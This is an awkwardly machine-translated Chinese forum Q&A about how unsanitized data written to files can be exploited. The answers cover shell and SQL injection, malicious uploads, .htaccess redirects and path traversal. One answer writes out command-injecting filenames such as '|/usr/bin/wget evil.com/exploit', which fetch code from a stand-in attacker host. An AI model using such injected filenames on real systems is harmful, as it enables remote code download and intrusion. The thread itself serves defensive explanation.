如何利用写入文件的数据

我试图说明,将数据作为input并直接写入文件而不parsing,检查或消毒是一种安全风险。

任何人都可以展示一个如何被利用的例子。 我在想,可能有办法开始写一个新的文件,而不是它应该的。 如果这是可能的,我可能会写入一个名为ls或更less的文件等

对不起,我忘了提到操作系统。 这是Solaris。

这些文件只是稍后可能要读入数据库的数据文件,但我不想指望数据库是唯一的漏洞。

这台服务器上的程序正在侦听一个端口,我可以连接并发送数据,而且我知道它将把这些数据写入一个名为output.dat的文件中。

这真的取决于你在用这些数据做什么。 如果稍后将数据用作shell命令的input,那么您可以偷偷地执行子shell和执行任意命令的命令(安装后门,添加用户,更改密码…)。如果数据插入到没有准备好的语句的SQL中,那么您有一个标准的SQL注入。 最简单的情况就是炸毁你的分区的空间。 如果您可以自由而无限制地生成数据,那么就没有任何东西阻止攻击者过度填充驱动器/分区。 大多数程序不检查这种情况,所以它会进入一个未知的状态,最多只能做,最坏的情况下可以利用。

一些非常相似的东西是很多网站都知道的安全错误。 如果您从用户上传(例如论坛的头像图片),并且不validation它们是否是有效的图片文件,则攻击者可以上传PHP文件,并在服务器上执行该文件,方法是在Web浏览器中你的图片目录。 检查文件名上的扩展名通常是不够的,您必须validation文件的内容,否则可能会导致系统中存在恶意文件。

在接受file upload并且不validation其内容的任何情况下,情况可能相同。 该文件可能是一个Solaris可执行文件,只是在等待一个不小心的chmod -R 777 /var/www或一个perl脚本,这个脚本添加了一个新用户或一个格式错误的PDF文件,其目的是危害您的网站用户或一个.htaccess文件redirect用户攻击者的网站甚至是/ etc / passwd的符号链接。 (实际上,我不确定是否可以“上传”符号链接,但是可以想象一个不可信用户可以在系统上创build符号链接的场景。)

validation一个文件的内容匹配他们应该是什么使得攻击者难以得到他的系统上的利用代码。 你认为没有validation是安全错误是正确的。

一旦恶意文件在系统上,它仍然需要利用该文件的第二个错误/漏洞,但它使攻击者更靠近妥协的系统。

除此之外,如果提供了文件名,还必须清理文件名。 之前的.htaccess示例是攻击者利用文件名的一种方法,但是文件名如“../index.php”或|/usr/bin/wget evil.com/exploit; wget evil.com/exploit ; wget evil.com/exploit或者&& wget evil.com/exploit可以根据文件处理代码对系统做所有不好的事情。

如果我们谈论的是Apache,那么很难强迫它像ls一样覆盖一个系统二进制文件,但是如果它是一个你自己编写的服务器,它不会丢弃权限并以root身份运行,那么它将拥有覆盖权限系统二进制文件,只是在等待正确的文件path。

这完全取决于你在哪个平台上。 例如,如果这是一个灯系统,它可以像写入.php文件一样简单,或者更复杂的方法是先进的LIF攻击 。

在Windows下,您可以使用一些命名pipe道欺骗来获得远程代码执行。

只要攻击者无法更改文件名或文件元数据,并且写入的金额有限制,我就看不到问题。

否则,将任何随机数据存储在文件中将是危险的。 如果上述是真的,一个文件只是一个容器。

这并不是说阅读应用程序中没有可被利用的错误。 例如,如果在记事本中存在漏洞利用,用户就可以编写一个利用该漏洞的序列来创build文本文件。